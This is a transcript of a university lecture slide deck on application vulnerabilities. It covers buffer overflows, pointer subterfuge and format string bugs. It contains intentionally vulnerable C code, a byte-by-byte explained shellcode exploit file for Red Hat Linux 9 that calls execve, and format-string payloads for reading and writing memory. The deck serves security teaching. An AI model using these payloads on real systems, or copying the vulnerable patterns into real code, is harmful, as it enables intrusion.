1 / 66

Application Vulnerabilities and Attacks

Application Vulnerabilities and Attacks. COEN 351. Vulnerability and Exploits. Software Defects: A software defect is the encoding of a human error into the software, including omissions. Security Flaw: A security flaw is a software defect that poses a potential security risk.

roch
Download Presentation

Application Vulnerabilities and Attacks

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Application Vulnerabilities and Attacks COEN 351

  2. Vulnerability and Exploits • Software Defects: • A software defect is the encoding of a human error into the software, including omissions. • Security Flaw: • A security flaw is a software defect that poses a potential security risk. • Eliminating software defects eliminate security flaws. • A vulnerability is a set of conditions that allows an attacker to violate an explicit or implicit security policy. • Not all security flaws lead to vulnerabilities. • A security flaw can cause a program to be vulnerable to attack. • Vulnerabilities can also exist without a security flaw.

  3. Vulnerabilities and Exploits • Exploit: • Proof-of-concept exploits are developed to prove the existence of a vulnerability. • Proof-of-concept exploits are beneficial when properly managed. • Proof-of-concept exploit in the wrong hands can be quickly transformed into a worm or virus or used in an attack.

  4. Pointer Subterfuge • Pointer Subterfuge modify a pointer’s value. • Function pointers are overwritten to transfer control to an attacker supplied shellcode. • Data pointers can also be changed to modify the program flow according to the attacker’s wishes.

  5. Pointer Subterfuge • Using a buffer overflow: • Buffer must be allocated in the same segment as the target pointer. • Buffer must have a lower memory address than the target pointer. • Buffer must be susceptible to a buffer overflow exploit.

  6. Source Memory Buffer Overflow • A buffer overflow occurs when data is written outside of the boundaries of the memory allocated to a particular data structure. 11 Bytes of Data Copy Operation Other Memory Allocated Memory (8 Bytes)

  7. Buffer Overflow • Process Memory Organization Code or Text: Instructions and read only data Data: Initialized data, uninitialized data, static variables, global variables Heap: Dynamically allocated variables Stack: Local variables, return addresses, etc.

  8. Stack Smashing • When calling a subroutine / function: • Stack stores the return address • Stack stores arguments, return values • Stack stores variables local to the subroutine • Information pushed on the stack for a subroutine call is called a frame. • Address of frame is stored in the frame or base point register. • epb on Intel architectures

  9. Stack Smashing #include <iostream> bool IsPasswordOkay(void) { char Password[8]; gets(Password); if (!strcmp(Password, “badprog")) return(true); else return(false); } void main() { bool PwStatus; puts("Enter password:"); PwStatus = IsPasswordOkay(); if (PwStatus == false){ puts("Access denied"); exit(-1); } else puts("Access granted"); }

  10. Stack Smashing Program stack before call to IsPasswordOkay() Stack puts("Enter Password:"); PwStatus=ISPasswordOkay(); if (PwStatus==true) puts("Hello, Master"); else puts("Access denied");

  11. Stack Smashing Program stack during call to IsPasswordOkay() Stack puts("Enter Password:"); PwStatus=ISPasswordOkay(); if (PwStatus ==true) puts("Hello, Master"); else puts("Access denied"); bool IsPasswordOkay(void) { char Password[8]; gets(Password); if (!strcmp(Password,"badprog")) return(true); elsereturn(false) }

  12. Stack Smashing Program stack after call to IsPasswordOkay() Stack puts("Enter Password:"); PwStatus=ISPasswordOkay(); if (PwStatus ==true) puts("Hello, Master"); else puts("Access denied");

  13. Stack Smashing #include <iostream> bool IsPasswordOkay(void) { char Password[8]; gets(Password); if (!strcmp(Password, “badprog")) return(true); else return(false); } void main() { bool PwStatus; puts("Enter password:"); PwStatus = IsPasswordOkay(); if (PwStatus == false){ puts("Access denied"); exit(-1); } else puts("Access granted"); } • What happens if we enter more than 7 characters of an input string?

  14. Stack Smashing Stack bool IsPasswordOkay(void) { char Password[8]; gets(Password); if (!strcmp(Password,"badprog")) return(true); elsereturn(false) } The return address and other data on the stack is over written because the memory space allocated for the password can only hold a maximum 7 character plus the NULL terminator.

  15. A specially crafted string “abcdefghijklW►*!” produced the following result: Stack Smashing

  16. The string “abcdefghijklW►*!” overwrote 9 extra bytes of memory on the stack changing the callers return address thus skipping the execution of line 3 Stack Smashing Stack

  17. Stack Smashing • A buffer overflow can be exploited by • Changing the return address in order to change the program flow (arc-injection) • Change the return address to point into the buffer where it contains some malicious code (Code injection)

  18. Stack Smashing • The get password program can be exploited to execute arbitrary code by providing the following binary data file as input: 000 31 32 33 34 35 36 37 38-39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34-35 36 37 38 E0 F9 FF BF "789012345678a· +" 020 31 C0 A3 FF F9 FF BF B0-0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v" 030 F9 FF BF 8B 15 FF F9 FF-BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2F 75 73 72 2F-62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “ • This exploit is specific to Red Hat Linux 9.0 and GCC

  19. Stack Smashing 000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +" 020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v" 030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “ • The first 16 bytes of binary data fill the allocated storage space for the password. • NOTE: Even though the program only allocated 12 bytes for the password, the version of the gcc compiler used allocates stack data in multiples of 16 bytes

  20. Stack Smashing 000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +" 020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v" 030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “ • The next 12 bytes of binary data fill the extra storage space that was created by the compiler to keep the stack aligned on a16-byte boundary.

  21. Stack Smashing 000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +" 020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v" 030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “ • The next 12 bytes of binary data fill the extra storage space that was created by the compiler to keep the stack aligned on a16-byte boundary.

  22. Stack Smashing 000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +" 020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v" 030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “ • The next 4 bytes overwrite the return address. • The new return address is 0X BF FF F9 E0 (little-endian)

  23. Stack Smashing

  24. Stack Smashing 000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +" 020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v" 030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “ • The malicious code. • Purpose of malicious code is to call execve with a user provided set of parameters. • In this program, instead of spawning a shell, we just call the linux calculator program.

  25. Stack Smashing 000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +" 020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v" 030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “ • The malicious code: • xor %eax,%eax #set eax to zero • mov %eax,0xbffff9ff #set to NULL word • Create a zero value and use it to NULL terminate the argument list. • This is necessary to terminate the argument list.

  26. Stack Smashing 000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +" 020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v" 030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “ • The malicious code: • xor %eax,%eax #set eax to zero • mov %eax,0xbffff9ff #set to NULL word • mov $0xb,%al #set code for execve • Set the value of register al to 0xb. This value indicates a system call to execve.

  27. Stack Smashing 000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +" 020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v" 030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “ • The malicious code: • mov $0xb,%al #set code for execve • mov $0xbffffa03,%ebx #ptr to arg 1 • mov $0xbffff9fb,%ecx #ptr to arg 2 • mov 0xbffff9ff,%edx #ptr to arg 3 • This puts the pointers to the arguments into ebc, ecx, and edx registers.

  28. Stack Smashing 000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +" 020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v" 030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “ • The malicious code: • mov $0xbffffa03,%ebx #ptr to arg 1 • mov $0xbffff9fb,%ecx #ptr to arg 2 • mov 0xbffff9ff,%edx #ptr to arg 3 • int $80 # make system call to execve • Now make the system call to execve. The arguments are in the registers.

  29. Stack Smashing 000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +" 020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v" 030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “ • The malicious code: • Last part are the arguments.

  30. Stack Smashing • ./BufferOverflow < exploit.bin now executes /usr/bin/cal\0.

  31. Stack Smashing Countermeasures • Canaries • Protect return addresses • Random value is stored before return address. • When returning, check whether canary has been altered. • Non-executable stacks • Prevents shellcode injection • Randomizing stack layout • Introduce bogus empty blocks of memory on stack • Attacker cannot predict stack layout

  32. Data Pointers Example Buffer is vulnerable to overflow. void foo(void * arg, size_t len) { char buff[100]; long val = …; long *ptr = …; memcpy(buff, arg, len); *ptr = val; … return; } Both val and ptr are located after the buffer and can be overwritten. This allows a buffer overflow to write an arbitrary address in memory.

  33. Data Pointers • Arbitrary memory writes can change the control flow. • This is easier if the length of a pointer is equal to the length of important data structures. • Intel 32 Architectures: • sizeof(void*) = sizeof(int) = sizeof(long) = 4B.

  34. Pointer Subterfuge • Targets for memory overwrites: • Unix: • GOT table • .dtors • Windows • Virtual function tables • Exception handlers • Details in Secure Programming Course

  35. Format String Vulnerabilities • printf and companions are variadic functions. • Variable number of arguments. • Format string and addresses of arguments in the format string are placed on the stack. • Format string vulnerability: • User controls (partially) input to printf

  36. Format String Vulnerabilities • Example 1. int func(char *user) { 2.   printf(user); 3. } • If the user argument can be controlled by a user, this program can be exploited to crash the program, view the contents of the stack, view memory content, or overwrite memory

  37. Format String Vulnerability • printf("%s%s%s%s%s%s%s%s%s%s%s%s"); • The %s conversion specifier displays memory at an address specified in the corresponding argument on the execution stack. • Because no string arguments are supplied in this example, printf() reads arbitrary memory locations from the stack until the format string is exhausted or an invalid pointer or unmapped address is encountered.

  38. Viewing Stack Content • Attackers can also exploit formatted output functions to examine the contents of memory. • Disassembled printf() call Arguments are pushed onto the stack in reverse order. the arguments in memory appear in the same order as in the printf() call

  39. Viewing the Contents of the Stack The address of the format string 0xe0f84201 appears in memory followed by the argument values 1, 2, and 3

  40. Viewing the Contents of the Stack The memory immediately following the arguments contains the automatic variables for the calling function, including the contents of the format character array 0x2e253038

  41. Viewing the Contents of the Stack The format string %08x.%08x.%08x.%08 instructs printf() to retrieve four arguments from the stack and display them as eight-digit padded hexadecimal numbers

  42. Viewing the Contents of the Stack As each argument is used by the format specification, the argument pointer is increased by the length of the argument.

  43. Viewing the Contents of the Stack Each %08x in the format string reads a value it interprets as an int from the location identified by the argument pointer.

  44. Viewing the Contents of the Stack The values output by each format string are shown below the format string.

  45. Viewing the Contents of the Stack The fourth “integer” contains the first four bytes of the format string—the ASCII codes for %08x.

  46. Viewing Memory at a Specific Location address advance-argptr %s \xdc\xf5\x42\x01%x%x%x%s The series of three %x conversion specifiers advance the argument pointer twelve bytes to the start of the format string

  47. Viewing Memory at a Specific Location address advance-argptr %s \xdc\xf5\x42\x01%x%x%x%s The %s conversion specifier displays memory at the address supplied at the beginning of the format string.

  48. Viewing Memory Content • printf() displays memory from 0x0142f5dc until a \0 byte is reached. • The entire address space can be mapped by advancing the address between calls to printf(). • Viewing memory at an arbitrary address can help an attacker develop other exploits, such as executing arbitrary code on a compromised machine.

  49. Format String Vulnerability • Arbitrary memory can be written by using the %n specifier in the format string. int i; printf("hello%n\n", (int *)&i); • The variable i is assigned the value 5 because five characters (h-e-l-l-o) are written until the %n conversion specifier is encountered. • Using the %n conversion specifier, an attacker can write a small integer value to an address.

  50. Format String Vulnerability printf("\xdc\xf5\x42\x01%08x.%08x.%08x%n”); • Writes an integer value corresponding to the number of characters output to the address 0x0142f5dc. • The value written (28) is equal to the eight-character-wide hex fields (times three) plus the four address bytes. • An attacker can overwrite the address with the address of some shellcode.

More Related